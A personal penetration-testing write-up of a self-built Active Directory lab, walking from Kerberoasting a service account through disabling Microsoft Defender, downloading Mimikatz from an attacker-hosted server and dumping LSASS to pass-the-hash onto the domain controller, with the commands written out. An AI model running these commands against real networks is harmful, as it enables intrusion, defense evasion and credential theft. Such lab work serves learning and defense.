Difficulty: Easy

OS: Windows

Date Completed: 2026-10-19

Write-up Authored by: Ian Simons

Lab Created by: Ian Simons

Core Competencies:

  • Active Directory Enumeration

  • LDAP Enumeration

  • Kerberos Authentication

  • Password Cracking

  • Pass the Hash

Overview

Recently I completed a Hack the Box lab called Active. This Box was a lot of fun and showed me that Active Directory is not some overly complex inherently hardened system. After that I decided that I wanted to learn more about attacking Active Directory on my own. I set up this lab to better understand and learn to run the Pass-the-Hash attack. There was a lot of learning involved, but I came away with a solid lab, and a much better understanding of the technique.

Lab Overview

For this lab I created a small Active Directory domain called n00b.lyfe. The Domain Controller is called DC01 (IP 10.10.10.5) and I added an additional domain joined server called FS01 (IP 10.10.10.20). In our scenario FS01 would be a file server. I made both servers discoverable across the network by anyone. I then created a low privilege user John Doe (JohnD@n00b.lyfe) with the password: “Password123!@#”. This account was created to let us begin our attack from an assumed breach scenario. I also created a service account called backup_svc (backup_svc@n00b.lyfe) it was then assigned a ServicePrincipalName and given local admin privileges on the file server. This was to simulate a lazy administrator who gave the backup service account local admin privileges rather than setting up more granular access control as needed. Lastly, I logged into the file server (FS01) with the built-in domain account Administrator (Administrator@n00b.lyfe). At this point, the attack path was prepared and all that was left was to take over the domain.

Vulnerability Summary

Vulnerability Vulnerability Classification CVSS Score MITRE ATT&CK Technique ATT&CK Tactic
Kerberoastable Service Account Protected by a Weak Password CWE-521: Weak Password Requirements N/A T1558.003 - Kerberoasting Credential Access
Over Permissioned Service Account CWE-269: Improper Privilege Management CWE-272: Least Privilege Violation N/A T1078.002 - Valid Accounts: Domain Accounts Privilege Escalation
Microsoft Defender Anti-Tamper not Enabled CWE-693: Protection Mechanism Failure N/A T1562.001 - Impair Defenses: Disable or Modify Tools Defense Evasion
NTLM Hash Reuse (Pass-the-Hash) N/A N/A T1550.002 - Use Alternate Authentication Material: Pass the Hash Lateral Movement

Attack Path Summary

  1. Utilize the provided credentials (JohnD@n00b.lyfe) to enumerate all service accounts with a ServicePrincipalName (SPN)

  2. Identify backup_svc as a service account with an associated SPN, making it a candidate for Kerberoasting

  3. Request Ticket Granting Service (TGS) ticket for backup_svc’s SPN and extract the associated hash

  4. Crack the hash associated with the TGS ticket offline

  5. Log into FS01 remotely with the newly compromised account

  6. Disable Microsoft Defender to facilitate execution of credential dumping tools

  7. Extract NTLM hashes from LSASS memory

  8. Identify the built-in domain Administrator account and extract the associated NTLM hash

  9. Utilize Pass-the-Hash authentication to obtain administrative access to DC01 as Administrator@n00b.lyfe

Compromising backup_svc

Vulnerability Details

Description: Kerberoastable Service Account Protected by a Weak Password

Vulnerability Classification: CWE-521: Weak Password Requirements

CVSS Score(s): N/A

MITRE ATT&CK: T1558.003 - Kerberoasting - Credential Access,

Active Directory enumeration was performed using the provided low-privilege user credentials for JohnD. During enumeration, the backup_svc account was identified as having a registered Service Principal Name (SPN), making it a potential Kerberoasting target. A TGS Ticket was requested for the account, and the associated hash was extracted for offline password cracking. Recovery of the account password allowed for successful authentication to FS01 as backup_svc.

Exploitation Steps

  1. Enumerate all Users with SPNs to identify Kerberoastable targets

  2. Identify account backup_svc as a Kerberoastable target

  3. Request a TGS ticket and extract hash

  4. Perform offline cracking of extracted hash

  5. Validate cracked credentials by logging into FS01

Key Commands / Payloads

# Enumerate Kerberoastable accounts
ldapsearch -x -H ldap://10.10.10.5 -D johnd@n00b.lyfe -w 'Password123!@#' -b "dc=n00b,dc=lyfe" "(&(objectclass=user)(servicePrincipalName=*))" samaccountname servicePrincipalName

# Request TGS ticket and extract hash
impacket-GetUserSPNs n00b.lyfe/JohnD:'Password123!@#' -request-user backup_svc -dc-ip 10.10.10.5 -outputfile hash.txt

# Crack hash
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt 

# Remotely log into FS01 with evil-WinRM
evil-winrm -i 10.10.10.20 -u backup_svc@n00b.lyfe -p "Password1"

Proof of Access

Screen Shot

backup_svc.jpg

Figure 1: Successful Kerberoasting of backup_svc resulted in authenticated access to Server FS01 as backup_svc. Access was validated by confirming user context, hostname, and operating system version.

Session Validation Commands
# Check user context
whoami

# Verify target hostname
hostname

# Verify operating system version
cmd.exe /c "ver"

Compromising Administrator

Vulnerability Details

Description: Over Permissioned Service Account, Microsoft Defender Anti-Tamper not Enabled, NTLM Hash Reuse (Pass-the-Hash)

Vulnerability Classification: CWE-269: Improper Privilege Management & CWE-272: Least Privilege Violation, CWE-693: Protection Mechanism Failure, N/A

CVSS Score: N/A

MITRE ATT&CK: T1078.002 - Valid Accounts: Domain Accounts - Privilege Escalation, T1562.001 - Impair Defenses: Disable or Modify Tools - Defense Evasion, T1550.002 - Use Alternate Authentication Material: Pass the Hash - Lateral Movement

After gaining access to FS01 as backup_svc, the account was found to possess local administrator rights. Because privileged users had previously authenticated to the server, the host was evaluated as a potential source of reusable credentials. Following the disabling of Microsoft Defender protections, Mimikatz was used to extract credential material from LSASS memory, resulting in recovery of the built-in domain Administrator NTLM hash. The recovered hash was then leveraged via Pass-the-Hash authentication to obtain administrative access to DC01.

Exploitation Steps

  1. Disable Windows Defender

  2. Upload Mimikatz onto the server in question

  3. Extract Administrator NTLM hash from LSASS memory

  4. Pass-the-Hash and log into DC01 as Administrator

Key Commands / Payloads

# Disable Defender
Set-MpPreference -DisableRealtimeMonitoring $true -DisableScriptScanning $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true

# Host Mimikatz from attack machine (kali)
python3 -m http.server -d /usr/share/windows-resources/mimikatz/x64 8888

# Download Mimikatz
Invoke-WebRequest -Uri "http://<ATTACKER-IP>:8888/mimikatz.exe -outfile mimikatz.exe

# Extract NTLM hash with Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

# Pass-the-Hash using evil-WinRM
evil-winrm -i 10.10.10.5 -u Administrator@n00b.lyfe -H 07ab403ab740c1540c378b0f5aaa4087

Proof of Access

Screen Shots

Administrator.jpg

Figure 2: Successful exploitation of attack chain resulted in authenticated domain admin access to DC01. Access was validated by confirming user context, hostname, operating system version, and Active Directory group membership.

Session Validation Commands
# Check user context
whoami

# Verify target hostname
hostname

# Verify operating system version
cmd.exe /c "ver"

# Verify Active Directory Group Membership
get-aduser Administrator -properties memberof | select -expandproperty memberof

Lessons Learned

This was my first DIY Active Directory lab, as well as my first DIY hacking lab. I had a ton of fun. I started this lab with the goal of learning the Pass-the-Hash attack, but in doing so I had to learn a lot of other things along the way. For example, when I started building this lab, I had no idea I would need to learn to disable Microsoft Defender via PowerShell, and use Mimikatz. While I still enjoy Hack the Box and plan to continue completing machines there, DIY labs like this one will likely become a staple of my portfolio. The depth of learning involved in building and attacking your own environment is simply unmatched.

  • A single compromised account can create a chain of opportunities that ultimately lead to domain compromise.

  • Defense in Depth is not optional. If any link the attack chain is broken, a full compromise may be prevented.

  • Granular access controls are critical, poor privilege separation can turn a limited compromise into a full domain takeover.

Appendix

Appendix A

Tools Used
Tool Purpose
ldapsearch Active Directory Enumeration
impacket-GetUserSPNs Requesting TGS Ticket and Extracting Hash
hashcat Hash Cracking
python http server hosting
mimikatz extracting NTLM hash from LSASS memory
evil-WinRM Remote access